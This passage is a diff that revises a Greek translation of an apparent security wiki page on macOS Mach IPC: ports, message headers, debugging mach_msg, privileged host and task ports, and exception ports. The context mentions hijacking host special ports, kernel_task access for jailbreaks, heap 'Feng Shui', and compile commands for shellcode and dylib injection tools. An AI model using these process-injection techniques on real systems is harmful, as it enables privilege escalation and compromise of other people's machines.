ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). +- Η Task **B** δημιουργεί μια νέα θύρα με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία). -Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν. +Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παρενόχληση. > [!CAUTION] > Επομένως, ο launchd δεν πρέπει ποτέ να καταρρεύσει ή ολόκληρο το σύστημα θα καταρρεύσει. @@ -74,7 +74,7 @@ [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής: +Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη μηνυμάτων Mach. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής: ```c typedef struct { mach_msg_bits_t msgh_bits; @@ -85,11 +85,11 @@ mach_port_name_t msgh_voucher_port; mach_msg_id_t msgh_id; } mach_msg_header_t; ``` -Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο. +Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια θύρα Mach. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο. Το αρχικό πεδίο **`msgh_bits`** είναι μια bitmap: -- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα σχετικά με αυτό παρακάτω) +- Το πρώτο bit (το πιο σημαντικό) χρησιμοποιείται για να υποδείξει ότι ένα μήνυμα είναι σύνθετο (περισσότερα για αυτό παρακάτω) - Τα 3ο και 4ο χρησιμοποιούνται από τον πυρήνα - Τα **5 λιγότερο σημαντικά bits του 2ου byte** μπορούν να χρησιμοποιηθούν για **voucher**: ένας άλλος τύπος θύρας για την αποστολή συνδυασμών κλειδιού/τιμής. - Τα **5 λιγότερο σημαντικά bits του 3ου byte** μπορούν να χρησιμοποιηθούν για **τοπική θύρα** @@ -110,7 +110,7 @@ mach_msg_id_t msgh_id; ``` Για παράδειγμα, `MACH_MSG_TYPE_MAKE_SEND_ONCE` μπορεί να χρησιμοποιηθεί για να **υποδείξει** ότι ένα **send-once** **δικαίωμα** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή την θύρα. Μπορεί επίσης να καθοριστεί `MACH_PORT_NULL` για να αποτραπεί ο παραλήπτης να μπορεί να απαντήσει. -Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διαδικασία μπορεί να καθορίσει μια **mach port** στην κεφαλίδα **μήνυματος** που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. +Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διαδικασία μπορεί να καθορίσει μια **mach port** στην mach **κεφαλίδα μηνύματος** που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **παραλήπτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. > [!TIP] > Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Αλλά **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία. @@ -125,7 +125,7 @@ mach_msg_id_t msgh_id; > [!CAUTION] > Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας `mach port`**, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο παραλήπτη**, **πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διαδικασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διαδικασία μπορεί να διαβάσει** από αυτήν. -Τα μηνύματα σχηματίζονται από την κεφαλίδα **`mach_msg_header_t`** ακολουθούμενη από το **σώμα** και από το **trailer** (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη. +Τα μηνύματα σχηματίζονται από την **κεφαλίδα `mach_msg_header_t`** που ακολουθείται από το **σώμα** και από το **trailer** (αν υπάρχει) και μπορεί να παραχωρήσει άδεια για να απαντηθεί. Σε αυτές τις περιπτώσεις, ο πυρήνας χρειάζεται απλώς να περάσει το μήνυμα από μια εργασία στην άλλη. Ένα **trailer** είναι **πληροφορίες που προστίθενται στο μήνυμα από τον πυρήνα** (δεν μπορεί να οριστεί από τον χρήστη) οι οποίες μπορούν να ζητηθούν κατά την παραλαβή του μηνύματος με τις σημαίες `MACH_RCV_TRAILER_` (υπάρχουν διαφορετικές πληροφορίες που μπορούν να ζητηθούν). @@ -150,7 +150,7 @@ unsigned int pad3 : 24; mach_msg_descriptor_type_t type : 8; } mach_msg_type_descriptor_t; ``` -Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα βρίσκεται στον 11ο. Σε 64bit, οι διαστάσεις ποικίλλουν. +Σε 32bit, όλοι οι περιγραφείς είναι 12B και ο τύπος του περιγραφέα βρίσκεται στον 11ο. Σε 64bit, τα μεγέθη ποικίλλουν. > [!CAUTION] > Ο πυρήνας θα αντιγράψει τους περιγραφείς από μια εργασία στην άλλη αλλά πρώτα **δημιουργώντας ένα αντίγραφο στη μνήμη του πυρήνα**. Αυτή η τεχνική, γνωστή ως "Feng Shui", έχει καταχραστεί σε πολλές εκμεταλλεύσεις για να κάνει τον **πυρήνα να αντιγράψει δεδομένα στη μνήμη του**, κάνοντάς τον διαδικασία να στείλει περιγραφείς στον εαυτό της. Στη συνέχεια, η διαδικασία μπορεί να λάβει τα μηνύματα (ο πυρήνας θα τα απελευθερώσει). @@ -170,13 +170,13 @@ mach_msg_descriptor_type_t type : 8; - `mach_port_allocate`: Κατανείμετε μια νέα ΛΗΨΗ, PORT_SET ή DEAD_NAME - `mach_port_insert_right`: Δημιουργήστε ένα νέο δικαίωμα σε μια θύρα όπου έχετε ΛΗΨΗ - `mach_port_...` -- **`mach_msg`** | **`mach_msg_overwrite`**: Λειτουργίες που χρησιμοποιούνται για **να στείλουν και να λάβουν mach μηνύματα**. Η έκδοση overwrite επιτρέπει να καθορίσετε ένα διαφορετικό buffer για τη λήψη μηνυμάτων (η άλλη έκδοση θα το επαναχρησιμοποιήσει απλώς). +- **`mach_msg`** | **`mach_msg_overwrite`**: Συναρτήσεις που χρησιμοποιούνται για **να στείλουν και να λάβουν mach μηνύματα**. Η έκδοση overwrite επιτρέπει να καθορίσετε ένα διαφορετικό buffer για τη λήψη μηνυμάτων (η άλλη έκδοση θα το επαναχρησιμοποιήσει απλώς). ### Debug mach_msg -Δεδομένου ότι οι λειτουργίες **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για να στείλουν και να λάβουν μηνύματα, η ρύθμιση ενός breakpoint σε αυτές θα επιτρέψει την επιθεώρηση των αποσταλμένων και ληφθέντων μηνυμάτων. +Δεδομένου ότι οι συναρτήσεις **`mach_msg`** και **`mach_msg_overwrite`** είναι αυτές που χρησιμοποιούνται για να στείλουν και να λάβουν μηνύματα, η ρύθμιση ενός breakpoint σε αυτές θα επιτρέψει την επιθεώρηση των αποσταλμένων και ληφθέντων μηνυμάτων. -Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει **`libSystem.B` που θα χρησιμοποιήσει αυτή τη λειτουργία**. +Για παράδειγμα, ξεκινήστε την αποσφαλμάτωση οποιασδήποτε εφαρμογής μπορείτε να αποσφαλματώσετε καθώς θα φορτώσει **`libSystem.B` που θα χρησιμοποιήσει αυτή τη συνάρτηση**.
(lldb) b mach_msg
 Breakpoint 1: where = libsystem_kernel.dylib`mach_msg, address = 0x00000001803f6c20
@@ -205,7 +205,7 @@ frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
 frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
 
-Για να λάβετε τα επιχειρήματα του **`mach_msg`**, ελέγξτε τους καταχωρητές. Αυτά είναι τα επιχειρήματα (από [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)): +Για να λάβετε τα επιχειρήματα της **`mach_msg`**, ελέγξτε τους καταχωρητές. Αυτά είναι τα επιχειρήματα (από [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)): ```c __WATCHOS_PROHIBITED __TVOS_PROHIBITED extern mach_msg_return_t mach_msg( @@ -217,7 +217,7 @@ mach_port_name_t rcv_name, mach_msg_timeout_t timeout, mach_port_name_t notify); ``` -Λάβετε τις τιμές από τις μητρώες: +Αποκτήστε τις τιμές από τα μητρώα: ```armasm reg read $x0 $x1 $x2 $x3 $x4 $x5 $x6 x0 = 0x0000000124e04ce8 ;mach_msg_header_t (*msg) @@ -268,14 +268,14 @@ name ipc-object rights flags boost reqs recv send sonce oref q [...] ``` Το **όνομα** είναι το προεπιλεγμένο όνομα που δίνεται στην θύρα (ελέγξτε πώς **αυξάνεται** στα πρώτα 3 bytes). Το **`ipc-object`** είναι ο **αποκρυπτογραφημένος** μοναδικός **ταυτοποιητής** της θύρας.\ -Σημειώστε επίσης πώς οι θύρες με μόνο **`send`** δικαίωμα **αναγνωρίζουν τον κάτοχό** τους (όνομα θύρας + pid).\ +Σημειώστε επίσης πώς οι θύρες με μόνο δικαίωμα **`send`** είναι **ταυτοποιώντας τον κάτοχό** τους (όνομα θύρας + pid).\ Σημειώστε επίσης τη χρήση του **`+`** για να υποδείξετε **άλλες εργασίες που συνδέονται με την ίδια θύρα**. Είναι επίσης δυνατό να χρησιμοποιήσετε [**procesxp**](https://www.newosxbook.com/tools/procexp.html) για να δείτε επίσης τα **καταχωρημένα ονόματα υπηρεσιών** (με το SIP απενεργοποιημένο λόγω της ανάγκης του `com.apple.system-task-port`): ``` procesp 1 ports ``` -Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντάς το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) +Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz) ### Παράδειγμα κώδικα @@ -407,34 +407,34 @@ printf("Sent a message\n"); ## Προνομιακές Θύρες -Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** σε περίπτωση που μια εργασία έχει τα δικαιώματα **SEND** πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων αλλά και επειδή είναι δυνατό να **μοιραστούν τα δικαιώματα SEND μεταξύ εργασιών**. +Υπάρχουν ορισμένες ειδικές θύρες που επιτρέπουν να **εκτελούνται ορισμένες ευαίσθητες ενέργειες ή να αποκτάται πρόσβαση σε ορισμένα ευαίσθητα δεδομένα** εφόσον μια εργασία έχει τα δικαιώματα **SEND** πάνω τους. Αυτό καθιστά αυτές τις θύρες πολύ ενδιαφέρουσες από την προοπτική ενός επιτιθέμενου, όχι μόνο λόγω των δυνατοτήτων τους αλλά και επειδή είναι δυνατή η **κοινή χρήση δικαιωμάτων SEND μεταξύ εργασιών**. -### Ειδικές Θύρες Φιλοξενίας +### Ειδικές Θύρες Υπολογιστή Αυτές οι θύρες εκπροσωπούνται από έναν αριθμό. -Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν, ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει). +Τα δικαιώματα **SEND** μπορούν να αποκτηθούν καλώντας **`host_get_special_port`** και τα δικαιώματα **RECEIVE** καλώντας **`host_set_special_port`**. Ωστόσο, και οι δύο κλήσεις απαιτούν την θύρα **`host_priv`** στην οποία μπορεί να έχει πρόσβαση μόνο ο root. Επιπλέον, στο παρελθόν ο root μπορούσε να καλέσει **`host_set_special_port`** και να καταλάβει αυθαίρετα, κάτι που επέτρεπε, για παράδειγμα, την παράκαμψη υπογραφών κώδικα καταλαμβάνοντας την `HOST_KEXTD_PORT` (το SIP τώρα το αποτρέπει). Αυτές χωρίζονται σε 2 ομάδες: Οι **πρώτες 7 θύρες ανήκουν στον πυρήνα** και είναι η 1 `HOST_PORT`, η 2 `HOST_PRIV_PORT`, η 3 `HOST_IO_MASTER_PORT` και η 7 είναι `HOST_MAX_SPECIAL_KERNEL_PORT`.\ -Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **daemon συστήματος** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html). +Αυτές που ξεκινούν **από** τον αριθμό **8** ανήκουν σε **daemon του συστήματος** και μπορούν να βρεθούν δηλωμένες στο [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html). -- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **δικαίωμα SEND** πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως: +- **Θύρα υπολογιστή**: Εάν μια διαδικασία έχει **δικαίωμα SEND** πάνω σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** καλώντας τις ρουτίνες της όπως: - `host_processor_info`: Λάβετε πληροφορίες επεξεργαστή -- `host_info`: Λάβετε πληροφορίες φιλοξενίας +- `host_info`: Λάβετε πληροφορίες υπολογιστή - `host_virtual_physical_table_info`: Πίνακας εικονικής/φυσικής μνήμης (απαιτεί MACH_VMDEBUG) -- `host_statistics`: Λάβετε στατιστικά στοιχεία φιλοξενίας +- `host_statistics`: Λάβετε στατιστικά στοιχεία υπολογιστή - `mach_memory_info`: Λάβετε διάταξη μνήμης πυρήνα -- **Θύρα Priv φιλοξενίας**: Μια διαδικασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η εμφάνιση δεδομένων εκκίνησης ή η προσπάθεια φόρτωσης μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια. +- **Θύρα Priv**: Μια διαδικασία με δικαίωμα **SEND** πάνω σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως να εμφανίσει δεδομένα εκκίνησης ή να προσπαθήσει να φορτώσει μια επέκταση πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια. - Επιπλέον, προκειμένου να καλέσει το API **`kext_request`**, απαιτείται να έχει άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple. - Άλλες ρουτίνες που μπορούν να κληθούν είναι: - `host_get_boot_info`: Λάβετε `machine_boot_info()` -- `host_priv_statistics`: Λάβετε προνομιακά στατιστικά στοιχεία +- `host_priv_statistics`: Λάβετε προνομιακά στατιστικά - `vm_allocate_cpm`: Κατανομή Συνεχούς Φυσικής Μνήμης -- `host_processors`: Δικαιώματα αποστολής στους επεξεργαστές φιλοξενίας +- `host_processors`: Δικαιώματα αποστολής στους επεξεργαστές υπολογιστή - `mach_vm_wire`: Κάντε τη μνήμη μόνιμη -- Καθώς ο **root** μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **καταλάβει τις ειδικές ή εξαιρετικές θύρες φιλοξενίας**. +- Καθώς ο **root** μπορεί να έχει πρόσβαση σε αυτή την άδεια, θα μπορούσε να καλέσει `host_set_[special/exception]_port[s]` για να **καταλάβει ειδικές ή εξαιρετικές θύρες υπολογιστή**. -Είναι δυνατό να **δει κανείς όλες τις ειδικές θύρες φιλοξενίας** εκτελώντας: +Είναι δυνατόν να **δει κανείς όλες τις ειδικές θύρες υπολογιστή** εκτελώντας: ```bash procexp all ports | grep "HSP" ``` @@ -456,8 +456,8 @@ world.*/ - **TASK_KERNEL_PORT**\[task-self send right]: Η θύρα που χρησιμοποιείται για τον έλεγχο αυτής της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που επηρεάζουν την εργασία. Αυτή είναι η θύρα που επιστρέφεται από **mach_task_self (βλ. Task Ports παρακάτω)**. - **TASK_BOOTSTRAP_PORT**\[bootstrap send right]: Η θύρα εκκίνησης της εργασίας. Χρησιμοποιείται για την αποστολή μηνυμάτων που ζητούν την επιστροφή άλλων θυρών υπηρεσιών συστήματος. - **TASK_HOST_NAME_PORT**\[host-self send right]: Η θύρα που χρησιμοποιείται για την αίτηση πληροφοριών σχετικά με τον περιέχοντα υπολογιστή. Αυτή είναι η θύρα που επιστρέφεται από **mach_host_self**. -- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη πυρήνα που είναι συνδεδεμένη. -- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη που διαχειρίζεται από προεπιλογή. +- **TASK_WIRED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη μνήμη του πυρήνα που είναι συνδεδεμένη. +- **TASK_PAGED_LEDGER_PORT**\[ledger send right]: Η θύρα που ονομάζει την πηγή από την οποία αυτή η εργασία αντλεί τη διαχειριζόμενη μνήμη προεπιλογής της. ### Θύρες Εργασίας @@ -485,17 +485,17 @@ world.*/ Θυμηθείτε ότι επειδή ο **πυρήνας είναι επίσης μια εργασία**, αν κάποιος καταφέρει να αποκτήσει **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** πάνω από το **`kernel_task`**, θα είναι σε θέση να κάνει τον πυρήνα να εκτελέσει οτιδήποτε (jailbreaks). -- Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτή τη θύρα για την εργασία καλούντος. Αυτή η θύρα κληρονομείται μόνο μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με το `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα εκτελέσιμο αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) ενώ κάνετε ένα `fork()`. +- Καλέστε το `mach_task_self()` για να **λάβετε το όνομα** για αυτή τη θύρα για την εργασία καλούντος. Αυτή η θύρα κληρονομείται μόνο μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με το `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα εκτελέσιμο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) ενώ κάνετε ένα `fork()`. - Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το εκτελέσιμο `AppleMobileFileIntegrity`): -- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` entitlement** διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **notarization** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις. -- Εφαρμογές με το **`com.apple.system-task-ports`** entitlement μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple. -- **Ο Root μπορεί να αποκτήσει πρόσβαση σε θύρες εργασίας** εφαρμογών **όχι** που έχουν μεταγλωττιστεί με **σκληρή** εκτέλεση (και όχι από την Apple). +- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` entitlement** οι διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **notarization** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις. +- Οι εφαρμογές με το **`com.apple.system-task-ports`** entitlement μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple. +- **Ο root μπορεί να αποκτήσει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με μια **σκληρυμένη** εκτέλεση (και όχι από την Apple). **Η θύρα ονόματος εργασίας:** Μια μη προνομιούχος έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο πράγμα που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`. ### Θύρες Νημάτων -Τα νήματα έχουν επίσης σχετικές θύρες, οι οποίες είναι ορατές από την εργασία που καλεί το **`task_threads`** και από τον επεξεργαστή με `processor_set_threads`. Ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στη θύρα νήματος επιτρέπει τη χρήση της συνάρτησης από το υποσύστημα `thread_act`, όπως: +Τα νήματα έχουν επίσης σχετικές θύρες, οι οποίες είναι ορατές από την εργασία που καλεί το **`task_threads`** και από τον επεξεργαστή με το `processor_set_threads`. Ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στη θύρα νήματος επιτρέπει τη χρήση της συνάρτησης από το υποσύστημα `thread_act`, όπως: - `thread_terminate` - `thread_[get/set]_state` @@ -770,18 +770,19 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject ./inject ``` > [!TIP] -> Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την εξουσία `dynamic-codesigning` προκειμένου να μπορείτε να δημιουργήσετε ένα εκτελέσιμο μνήμης που είναι εγγράψιμο. +> Για να λειτουργήσει αυτό στο iOS, χρειάζεστε την εξουσία `dynamic-codesigning` προκειμένου να μπορείτε να κάνετε μια εκτελέσιμη μνήμη που να είναι εγγράψιμη. ### Εισαγωγή Dylib σε νήμα μέσω Task port -Στο macOS, **τα νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**. +Στο macOS, **τα νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη εισαγωγή, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**. Ήταν δυνατό να **εισαχθεί ένας απλός κώδικας shell** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix**, μόνο με Mach. **Πιο σύνθετες εισαγωγές** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**. -Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα shell για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες. +Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφει νέο κώδικα shell για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες. Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε): + {{#ref}} ../macos-library-injection/macos-dyld-hijacking-and-dyld_insert_libraries.md {{#endref}} @@ -1068,6 +1069,7 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector Σε αυτή την τεχνική, ένα νήμα της διαδικασίας καταλαμβάνεται: + {{#ref}} macos-thread-injection-via-task-port.md {{#endref}} @@ -1078,7 +1080,7 @@ macos-thread-injection-via-task-port.md ## Exception Ports -Όταν συμβαίνει μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση αποστέλλεται στο καθορισμένο port εξαίρεσης του νήματος. Αν το νήμα δεν την χειριστεί, τότε αποστέλλεται στα ports εξαίρεσης της διαδικασίας. Αν η διαδικασία δεν την χειριστεί, τότε αποστέλλεται στο host port, το οποίο διαχειρίζεται το launchd (όπου θα αναγνωριστεί). Αυτό ονομάζεται τριχοτόμηση εξαιρέσεων. +Όταν συμβαίνει μια εξαίρεση σε ένα νήμα, αυτή η εξαίρεση αποστέλλεται στο καθορισμένο port εξαίρεσης του νήματος. Αν το νήμα δεν την χειριστεί, τότε αποστέλλεται στα ports εξαίρεσης της διαδικασίας. Αν η διαδικασία δεν την χειριστεί, τότε αποστέλλεται στο host port που διαχειρίζεται το launchd (όπου θα αναγνωριστεί). Αυτό ονομάζεται triage εξαίρεσης. Σημειώστε ότι στο τέλος, συνήθως αν δεν χειριστεί σωστά, η αναφορά θα καταλήξει να διαχειρίζεται από τον δαίμονα ReportCrash. Ωστόσο, είναι δυνατόν ένα άλλο νήμα στην ίδια διαδικασία να διαχειριστεί την εξαίρεση, αυτό είναι που κάνουν τα εργαλεία αναφοράς κρασών όπως το `PLCreashReporter`. @@ -1088,19 +1090,19 @@ macos-thread-injection-via-task-port.md Οποιοσδήποτε χρήστης μπορεί να έχει πρόσβαση σε πληροφορίες σχετικά με το ρολόι, ωστόσο για να ρυθμίσει την ώρα ή να τροποποιήσει άλλες ρυθμίσεις, πρέπει να είναι root. -Για να αποκτήσει πληροφορίες, είναι δυνατόν να καλέσει συναρτήσεις από το 